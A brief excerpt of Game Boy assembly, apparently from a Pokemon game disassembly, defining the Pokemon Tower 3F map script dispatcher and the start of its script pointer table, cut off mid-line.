ld de, PokemonTower3ScriptPointers
ld a, [wPokemonTower3CurScript]
call ExecuteCurMapScriptInTable
ld [wPokemonTower3CurScript], a
ret
PokemonTower3ScriptPointers:
dw CheckFightingMapTrainers
dw DisplayEnemyTrainerTextAndSta... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.